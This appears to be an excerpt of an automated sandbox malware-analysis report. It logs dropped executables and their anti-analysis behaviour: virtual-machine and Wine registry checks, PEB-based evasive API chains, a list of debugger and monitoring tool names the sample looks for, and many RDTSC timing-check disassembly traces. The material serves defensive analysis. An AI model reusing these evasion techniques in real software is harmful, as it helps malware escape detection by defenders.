Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37793
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9730

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FF8C88ED044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMUT
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000002.2819789828.0000000004880000.00000004.00001000.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000002.2817147450.000000000010C000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000002.2819789828.0000000004880000.00000004.00001000.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000002.2817147450.000000000010C000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXE4
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHA
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDANR.EXE
Source: svchost.exe, 00000008.00000002.2803648056.0000000003500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD645C second address: AD6479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52647CA129h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6479 second address: AD647D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5855 second address: AD5863 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F52647CA116h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5863 second address: AD5867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5867 second address: AD5874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5874 second address: AD587A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD587A second address: AD5893 instructions: 0x00000000 rdtsc 0x00000002 je 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F52647CA11Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5893 second address: AD5898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD59E3 second address: AD59E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5B87 second address: AD5B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BB02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5B9D second address: AD5BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5BAB second address: AD5BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5BB3 second address: AD5BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F52647CA116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F52647CA123h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5BD8 second address: AD5BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F5264C7BAF6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5264C7BAFDh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5BF6 second address: AD5BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5BFA second address: AD5C0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BAFCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5D33 second address: AD5D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F52647CA11Ah 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD83F2 second address: 95EEC3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5264C7BAFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007F5264C7BAFEh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F5264C7BAFCh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jns 00007F5264C7BB04h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 jmp 00007F5264C7BB02h 0x0000002b pop eax 0x0000002c cld 0x0000002d push dword ptr [ebp+122D0615h] 0x00000033 mov edi, dword ptr [ebp+122D2F5Bh] 0x00000039 call dword ptr [ebp+122D25B4h] 0x0000003f pushad 0x00000040 jno 00007F5264C7BB02h 0x00000046 xor eax, eax 0x00000048 js 00007F5264C7BAFCh 0x0000004e mov dword ptr [ebp+122D24A4h], edi 0x00000054 mov edx, dword ptr [esp+28h] 0x00000058 clc 0x00000059 jmp 00007F5264C7BAFEh 0x0000005e mov dword ptr [ebp+122D2D1Bh], eax 0x00000064 jmp 00007F5264C7BB00h 0x00000069 mov esi, 0000003Ch 0x0000006e pushad 0x0000006f adc ah, FFFFFFE5h 0x00000072 popad 0x00000073 add esi, dword ptr [esp+24h] 0x00000077 sub dword ptr [ebp+122D23BFh], edx 0x0000007d lodsw 0x0000007f mov dword ptr [ebp+122D1C84h], edx 0x00000085 add eax, dword ptr [esp+24h] 0x00000089 sub dword ptr [ebp+122D24A4h], ecx 0x0000008f mov dword ptr [ebp+122D1C84h], eax 0x00000095 mov ebx, dword ptr [esp+24h] 0x00000099 jmp 00007F5264C7BB08h 0x0000009e push eax 0x0000009f push eax 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 pushad 0x000000a3 popad 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84EF second address: AD84F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84F3 second address: AD8510 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jmp 00007F5264C7BAFBh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD862D second address: AD8631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87E3 second address: AD87EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87EA second address: AD87F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87F0 second address: AD8855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3B04575Fh 0x0000000f mov dword ptr [ebp+122D245Ch], esi 0x00000015 push 00000003h 0x00000017 jmp 00007F5264C7BB09h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F5264C7BAF8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 push 00000003h 0x0000003a mov edi, dword ptr [ebp+122D2ED7h] 0x00000040 push 8654DC80h 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9AC9 second address: AE9AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC925D second address: AC9265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9265 second address: AC9275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F52647CA116h 0x0000000a popad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9275 second address: AC927A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC927A second address: AC92B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA120h 0x00000007 push ecx 0x00000008 jmp 00007F52647CA127h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jng 00007F52647CA141h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC92B2 second address: AC92C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BAFCh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C61 second address: AF8C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C67 second address: AF8C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C6B second address: AF8C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C71 second address: AF8C78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C78 second address: AF8C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F52647CA116h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8C87 second address: AF8C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BAFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8DD6 second address: AF8DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF90B7 second address: AF90BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9368 second address: AF9374 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52647CA116h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9374 second address: AF9379 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9379 second address: AF9385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9385 second address: AF9395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F5264C7BAF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF97A0 second address: AF97AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F52647CA116h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF97AC second address: AF97ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e ja 00007F5264C7BB11h 0x00000014 jo 00007F5264C7BAF6h 0x0000001a jmp 00007F5264C7BB05h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE2B8 second address: ACE2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
